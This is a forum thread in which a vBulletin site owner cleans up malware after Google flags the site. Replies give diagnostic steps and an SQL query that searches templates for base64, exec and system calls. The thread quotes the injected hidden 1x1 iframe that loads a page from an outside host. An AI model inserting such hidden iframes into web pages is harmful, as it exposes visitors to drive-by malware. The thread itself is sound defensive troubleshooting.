[Forum] Malware issue

[attroll]

Google has closed down one of my sites because they said they suspected melware. They said they found it here:

URL: http://mysite.org/forum/
<iframe src="http://www.cookaround.com/cook/robots.php" width="1" height="1">

URL: http://www.mysite.org/forum/
<iframe src="http://www.cookaround.com/cook/robots.php" width="1" height="1">

URL: http://www.mysite.org/forum/forum.php
<iframe src="http://www.cookaround.com/cook/robots.php" width="1" height="1">

URL: http://www.mysite.org/forum/showthread.php?688-Website-page-too-big
<iframe src="http://www.cookaround.com/cook/robots.php" width="1" height="1"> 

I removed the suspected thread that was listed last and looked everywhere else. Is there a way I can do a search through my forums post to see if anyone has posted something using the iframe code?

[PossumX]

Malware issue

Check the content of htaccess file all the way to the end.

[attroll]

I looked at the only .htaccess file I have and nothing has changed. It looks like this with a whole bunch of denys I removed not to show this whole listing.

<Limit GET HEAD POST>
order allow,deny
deny from 58.14.0.0/15
deny from 217.198.192.0/20
allow from all
</LIMIT> 

[attroll]

I found out where the <iframe> was. It got put in all my styles in the footer. There must be a hole in VB that would allow this.

[Ace]

I found out where the <iframe> was. It got put in all my styles in the footer. There must be a hole in VB that would allow this.

What version of vB are you running?

[attroll]

I was running 4.1.4. I just upgraded to 4.1.7.2.

[Ace]

I was running 4.1.4. I just upgraded to 4.1.7.2.

Good call.

[attroll]

Last night I upgrade VB to 4.1.7.2 and removed the malware from the footer and reverted the footer template. Well it came back in the footer template again today. I cannot figure out where it is coming from. I have not installed nor have I changed anything on the web site for a couple of months. I just now went and disabled all my pluggins, I did not have many. If it happens again I don't know what I am going to do.

[Ace]

Check your custom* folders for weird files. (customavatars, customprofilepics etc).

If yout admincp folder isn't currently .htaccess password protected, you should add that too.

[Wayne Luke]

1) Run Suspect File Diagnostics under Maintenance -> Diagnostics. Replace any files not containing the expected contents. Delete any files that are not part of vBulletin and that you can't identify as belonging to your addons.

2) Search all templates for iframe tags. They should only appear in the following templates: bbcode_video, editor-ie.css, member.css, stylegenerator.css, vbcms.css, vbulletin.css, help_bbcodes, humanverify_recaptcha, search_common, and search_common_select_type

3) Check all your plugins for rogue include, require, include_once, or require_once code. All files should come from your server and be known to you.

4) Check your plugins for any base64 code. I recommend using against using any plugins or products that include base64 code in them. However some "lite" or branded addons will include this as a means to prevent you from cheating the author. You'll have to make a personal call on these if you use them. This is often a sign of a hacked site.

5) Make sure that your plugins do not include calls to exec(), system(), or pass_thru(). These are also often signs of a hacked site.

6) Run this query:
SELECT template FROM template WHERE template LIKE '%base64%' OR template LIKE '%exec%' OR template LIKE '%system%' OR template like '%pass_thru%';

Review the results. Some templates will be returned but could be valid templates. However this could be a sign of a hacked site. Just make sure they aren't including code significantly different from your unparsed templates.

[reefland]

Also, look at the admincp log to see if there are strange entries.

[attroll]

Where is the ADMINCP log? I see a MODERATOR log but no admincp.

[attroll]

The iframe code showed up again in the footer today. I did the following that Wayne mentioned above and only ran into a problem with step 6. Now it is just a waiting game to see if it happens again.

Here are the results from what I did.

1) Run Suspect File Diagnostics under Maintenance -> Diagnostics. I removed all files not associated with VB that I did not recognize, only a couple.

2) Searched all templates for iframe tags. Only the ones you mentioned had the iframe code at this time.

4) Checked your plugins for any base64 code. I could not find any.

5) Make sure that your plugins do not include calls to exec(), system(), or pass_thru(). I have disabled all my plugins.

6) Run this query:
SELECT template FROM template WHERE template LIKE '%base64%' OR template LIKE '%exec% OR template LIKE '%system%' OR template like '%pass_thru%';

I received this error when trying to run the query:

An error occurred while attempting to execute your query. The following information was returned.
error number: 1064
error desc: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 

[Ace]

'%exec% is missing its closing apostrophe.

[Wayne Luke]

Sorry. I thought I had copied and pasted the correct query after I fixed the error.